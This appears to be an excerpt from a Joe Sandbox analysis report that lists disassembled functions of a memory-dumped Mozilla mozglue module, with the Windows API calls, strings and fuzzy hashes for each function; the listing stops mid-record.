Opcode Fuzzy Hash: 3667aa17d9cc06c168b2c9eeb16be584d24ac5b93cbbeffaf2f989f443321b92
Instruction Fuzzy Hash: 77E04873564205DBAF4C9EF99869B2A37D89B137053008029E512D1A31EE7DD5148635

Function 6BF601C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF37266), ref: 6BF601C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6BF601E7
FreeLibrary.KERNEL32(?,6BF37266), ref: 6BF601FE

Strings

wintrust.dll, xrefs: 6BF601C3
CryptCATAdminReleaseContext, xrefs: 6BF601E1

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: f07c3a9528f3789bb625fabf72ef2764ae1ab2efbb33c2e5ef260e32ea1f3d1a
Instruction ID: 05fa7e864c65ad0e77d98debf6e31025de8ba6e031211307d4742416b09a3898
Opcode Fuzzy Hash: f07c3a9528f3789bb625fabf72ef2764ae1ab2efbb33c2e5ef260e32ea1f3d1a
Instruction Fuzzy Hash: F1E09A754A0349DBEF886F66D84870ABBE8AB07385F104425EA05CA271EBB9C00C9B10

Function 6BF60170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF37308), ref: 6BF60178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6BF60197
FreeLibrary.KERNEL32(?,6BF37308), ref: 6BF601AE

Strings

wintrust.dll, xrefs: 6BF60173
CryptCATCatalogInfoFromContext, xrefs: 6BF60191

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: 6d4d2f7168983f33f6d660b3ae8ac11b6d5599cc1503fb04bdf8ebe7ac6fc260
Instruction ID: bd5ca0fd79f2259cfcd33065dab3b7b376cbba9df157bfbe4f76cce6ea85b746
Opcode Fuzzy Hash: 6d4d2f7168983f33f6d660b3ae8ac11b6d5599cc1503fb04bdf8ebe7ac6fc260
Instruction Fuzzy Hash: 67E09A754A0209DBEF985F65C988B09BBE8B706685F104477E984C5271EBBDC0498B20

Function 6BF60120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF37297), ref: 6BF60128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6BF60147
FreeLibrary.KERNEL32(?,6BF37297), ref: 6BF6015E

Strings

wintrust.dll, xrefs: 6BF60123
CryptCATAdminEnumCatalogFromHash, xrefs: 6BF60141

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: 535303aefe17203cf4c0d0ebfdd6cda5be3bdcc9a06217239c0a9654e76d5014
Instruction ID: 525c47322b83a663e99f454bcfd442dc663dd5a7287322fbebac64b702c7fd69
Opcode Fuzzy Hash: 535303aefe17203cf4c0d0ebfdd6cda5be3bdcc9a06217239c0a9654e76d5014
Instruction Fuzzy Hash: 73E09AB6465209DBEF496F69D84871EBBE8A707341F508425A904CA371EBB9C0088B50

Function 6BF600D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF37235), ref: 6BF600D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6BF600F7
FreeLibrary.KERNEL32(?,6BF37235), ref: 6BF6010E

Strings

wintrust.dll, xrefs: 6BF600D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6BF600F1

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 6e32253abee9da1c9ab87fd6e850ab775c4c308c656814d84effb8c729f627fd
Instruction ID: 6bf56f3fb72b8d9c0dc33beef80063a827d31316711330014f14799f0016241e
Opcode Fuzzy Hash: 6e32253abee9da1c9ab87fd6e850ab775c4c308c656814d84effb8c729f627fd
Instruction Fuzzy Hash: DEE04F79020309DBEF585F25C9C9729BBE8A707742F104025AD09C6230EBB9C048CB50

Function 6BF60080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF37204), ref: 6BF60088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6BF600A7
FreeLibrary.KERNEL32(?,6BF37204), ref: 6BF600BE

Strings

wintrust.dll, xrefs: 6BF60083
CryptCATAdminAcquireContext2, xrefs: 6BF600A1

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: a9bfd9f3e548f3d08891a54a014789da9e31f98c81ece2bcece900fef5a0332f
Instruction ID: d0c0ad5e2f41eac856df5e72db7fcf841ffa17b330306d53da05ca17a598b81e
Opcode Fuzzy Hash: a9bfd9f3e548f3d08891a54a014789da9e31f98c81ece2bcece900fef5a0332f
Instruction Fuzzy Hash: EFE09A75460305EBEF486F79C858709BBF8A70B381F104425AD15C6271EBBAD008DB51

Function 6BF8BAB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernelbase.dll,?,6BF305BC), ref: 6BF8BAB8
GetProcAddress.KERNEL32(00000000,VirtualAlloc2), ref: 6BF8BAD7
FreeLibrary.KERNEL32(?,6BF305BC), ref: 6BF8BAEC

Strings

kernelbase.dll, xrefs: 6BF8BAB3
VirtualAlloc2, xrefs: 6BF8BAD1

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: VirtualAlloc2$kernelbase.dll
API String ID: 145871493-1188699709
Opcode ID: 449f242429d01cf0204b796f37f04d4d7ac60d009f136958de42ea309e0508a3
Instruction ID: d325c18114c1c0a2269cf747db6fd9561f85fa71b62d6e50d70110a3277f1167
Opcode Fuzzy Hash: 449f242429d01cf0204b796f37f04d4d7ac60d009f136958de42ea309e0508a3
Instruction Fuzzy Hash: DCE09271460386DBDB589F62C99870ABBFCA706605F10042AE904C5232EBBAC10C8B20

Function 6BF8C290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF377C5), ref: 6BF8C298
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle), ref: 6BF8C2B7
FreeLibrary.KERNEL32(?,6BF377C5), ref: 6BF8C2CC

Strings

wintrust.dll, xrefs: 6BF8C293
CryptCATAdminCalcHashFromFileHandle, xrefs: 6BF8C2B1

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle$wintrust.dll
API String ID: 145871493-1423897460
Opcode ID: 5e49fa6773e9453bddd6c51f2704245eebf0a1b984669adc77eb6203e1b21b05
Instruction ID: 2ee79c121db7c26a5cd7386e280d0ecfafb590a7c16735d6525d619e433e94c6
Opcode Fuzzy Hash: 5e49fa6773e9453bddd6c51f2704245eebf0a1b984669adc77eb6203e1b21b05
Instruction Fuzzy Hash: C4E09275472209DFEF487B69C90870ABFE8EB06344F450525EA04C9671EBB9C008CB60

Function 6BF8C240 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF377F6), ref: 6BF8C248
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext), ref: 6BF8C267
FreeLibrary.KERNEL32(?,6BF377F6), ref: 6BF8C27C

Strings

wintrust.dll, xrefs: 6BF8C243
CryptCATAdminAcquireContext, xrefs: 6BF8C261

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext$wintrust.dll
API String ID: 145871493-3357690181
Opcode ID: 23ba8e49e8867184cdd8bf54427e1c1b8e02d4c916a580264d6b1d931c0bcec5
Instruction ID: 5e91d62cbb87be67c1c2138d281c3711b9d663be869c9d719e6a8fcb48e97161
Opcode Fuzzy Hash: 23ba8e49e8867184cdd8bf54427e1c1b8e02d4c916a580264d6b1d931c0bcec5
Instruction Fuzzy Hash: AFE09276530205DBEF8C6F66C848709BBE8E70B385F104565E904CA271EBB9E0489B90

Function 6BF8C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF8C1DE,?,00000000,?,00000000,?,6BF3779F), ref: 6BF8C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6BF8C217
FreeLibrary.KERNEL32(?,6BF8C1DE,?,00000000,?,00000000,?,6BF3779F), ref: 6BF8C22C

Strings

wintrust.dll, xrefs: 6BF8C1F3
WinVerifyTrust, xrefs: 6BF8C211

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: 58648e0571bcd8812d210df1efc16b0670e8243643361cb5f6a62b066eb1c45d
Instruction ID: 695a83332d8aa807aa559b065a47cb6a2bec2a7cf0f3555592ea6ed516a71626
Opcode Fuzzy Hash: 58648e0571bcd8812d210df1efc16b0670e8243643361cb5f6a62b066eb1c45d
Instruction Fuzzy Hash: A1E0B6B5420345DBEF887F65C90870ABFF8BB06304F000565E904C9672EBB9C00C8B50

Function 6BF87600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6BF87592), ref: 6BF87608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6BF87627
FreeLibrary.KERNEL32(?,6BF87592), ref: 6BF8763C

Strings

ntdll.dll, xrefs: 6BF87603
NtUnmapViewOfSection, xrefs: 6BF87621

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 78ba944e2fd0a75a93d13b526e4946309a22d51f2313912f7cf156f694bcbe8f
Instruction ID: 2191c4469e02e644405b53157c5cc1d693530aac28bd7159be395efde6e8c64f
Opcode Fuzzy Hash: 78ba944e2fd0a75a93d13b526e4946309a22d51f2313912f7cf156f694bcbe8f
Instruction Fuzzy Hash: D9E0B6B5520305EBDF486F76D84871D7BB8E71A395F004515E905D9331EBB9E0088F18

Function 6BF875B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6BF8748B,?), ref: 6BF875B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6BF875D7
FreeLibrary.KERNEL32(?,6BF8748B,?), ref: 6BF875EC

Strings

ntdll.dll, xrefs: 6BF875B3
RtlNtStatusToDosError, xrefs: 6BF875D1

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 84bb2f5d35626cfbcbc1e89b41c82eee3cc28980b61a3fee0d9284131ede2c11
Instruction ID: 9e123b1aea545f29966283b58303a0e1227026d5794392d3616540748f148dab
Opcode Fuzzy Hash: 84bb2f5d35626cfbcbc1e89b41c82eee3cc28980b61a3fee0d9284131ede2c11
Instruction Fuzzy Hash: 8EE0B676520305EBEF486F61C89870D7FF8EB06214F005525E904D9231EBB9E049DF10

Function 6BF8C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6BF8C0E9), ref: 6BF8C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6BF8C437
FreeLibrary.KERNEL32(?,6BF8C0E9), ref: 6BF8C44C

Strings

ntdll.dll, xrefs: 6BF8C413
NtQueryVirtualMemory, xrefs: 6BF8C431

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 98d068e5cd39891055e06797d5a36d411e8298c3b414b52fe36c92d9b0044e36
Instruction ID: ae59b1ba4055c71bbaf5c17c77181d37ed912cb19025338e4d41269f22a8dce6
Opcode Fuzzy Hash: 98d068e5cd39891055e06797d5a36d411e8298c3b414b52fe36c92d9b0044e36
Instruction Fuzzy Hash: 73E0B671460305DBEF886F71C958719BBF8A706704F004526EA08D9231EBB9D0488B50

Function 6BF8BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6BF8BE49), ref: 6BF8BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6BF8BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6BF8BE49), ref: 6BF8BF38
RtlReAllocateHeap.NTDLL ref: 6BF8BF83
RtlFreeHeap.NTDLL ref: 6BF8BFA6

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 87681f67fc46b72c47f877f08d8ba186c60e6ba900ae86c2b51f61abfc3ccd1e
Instruction ID: 7ba8dfc41ce64304d7177ccf2ebd2a49168d75de9409780aea57b7cb2752dbe6
Opcode Fuzzy Hash: 87681f67fc46b72c47f877f08d8ba186c60e6ba900ae86c2b51f61abfc3ccd1e
Instruction Fuzzy Hash: 8851A372A002068FE714CF68CD81B9AB7B2FF84310F294A79D515A7766D739F906CB80

Function 6BF78E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6BF6B58D,?,?,?,?,?,?,?,6BF9D734,?,?,?,6BF9D734), ref: 6BF78E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6BF6B58D,?,?,?,?,?,?,?,6BF9D734,?,?,?,6BF9D734), ref: 6BF78EBF
free.MOZGLUE(?,?,?,?,6BF6B58D,?,?,?,?,?,?,?,6BF9D734,?,?,?), ref: 6BF78F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6BF6B58D,?,?,?,?,?,?,?,6BF9D734,?,?,?,6BF9D734), ref: 6BF78F46
free.MOZGLUE(?,?,?,?,6BF6B58D,?,?,?,?,?,?,?,6BF9D734,?,?,?), ref: 6BF78F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6BF6B58D,?,?,?,?,?,?,?,6BF9D734,?,?,?), ref: 6BF78F8F

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: f7fb49fde671816b836cafaf5ea8c624158610467c06408391e4eb4b8db21256
Instruction ID: 4f1a5120dc18df3c4cbdee96bc56764c38561ae481ffe6d4490d849198d383ec
Opcode Fuzzy Hash: f7fb49fde671816b836cafaf5ea8c624158610467c06408391e4eb4b8db21256
Instruction Fuzzy Hash: F15191B2A102168FEB24DF68E8807AE77B2BF45314F1504BAD516AB360E735F904CBD1

Function 6BF360E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6BF35FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BF360F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6BF35FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BF36180
free.MOZGLUE(?,?,?,?,6BF35FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BF36211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6BF35FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BF36229
free.MOZGLUE(?,?,?,?,6BF35FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BF3625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6BF35FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BF36271

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d35387b366c2e7e3f76ea6e903a9bf7d4f39ce645286a08c2d68821214cb0fde
Instruction ID: 383eaeedec3c3bf01d9834fd509841428b6481e06f9c14164b4035b833f7b4cd
Opcode Fuzzy Hash: d35387b366c2e7e3f76ea6e903a9bf7d4f39ce645286a08c2d68821214cb0fde
Instruction Fuzzy Hash: FB51BDB2A042169FEB04DF68D8C076EB7B5EF45708F120439E616DB321E739E914CB91

Function 6BF727E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6BF72620,?,?,?,6BF660AA,6BF65FCB,6BF679A3), ref: 6BF7284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6BF72620,?,?,?,6BF660AA,6BF65FCB,6BF679A3), ref: 6BF7289A
free.MOZGLUE(?,?,?,6BF72620,?,?,?,6BF660AA,6BF65FCB,6BF679A3), ref: 6BF728F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6BF72620,?,?,?,6BF660AA,6BF65FCB,6BF679A3), ref: 6BF72910
free.MOZGLUE(00000001,?,?,6BF72620,?,?,?,6BF660AA,6BF65FCB,6BF679A3), ref: 6BF7293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6BF72620,?,?,?,6BF660AA,6BF65FCB,6BF679A3), ref: 6BF7294E

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2ce02003e645fd8c01971636cf41987150cc03240b0c81e661398f42386f352c
Instruction ID: ea7afdfe77a5add0ccfedd80e80b2e595b5ec72d47f9430ff4086f8242228f53
Opcode Fuzzy Hash: 2ce02003e645fd8c01971636cf41987150cc03240b0c81e661398f42386f352c
Instruction Fuzzy Hash: 2F41C8B2A0020A8FEB24DF68E88075A77F6FF46304F1944BAD556EB360E736E504CB51

Function 6BF2CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BFAE784), ref: 6BF2CFF6
LeaveCriticalSection.KERNEL32(6BFAE784), ref: 6BF2D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6BF2D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6BF2D139

Strings

MOZ_CRASH(), xrefs: 6BF2D187

Memory Dump Source

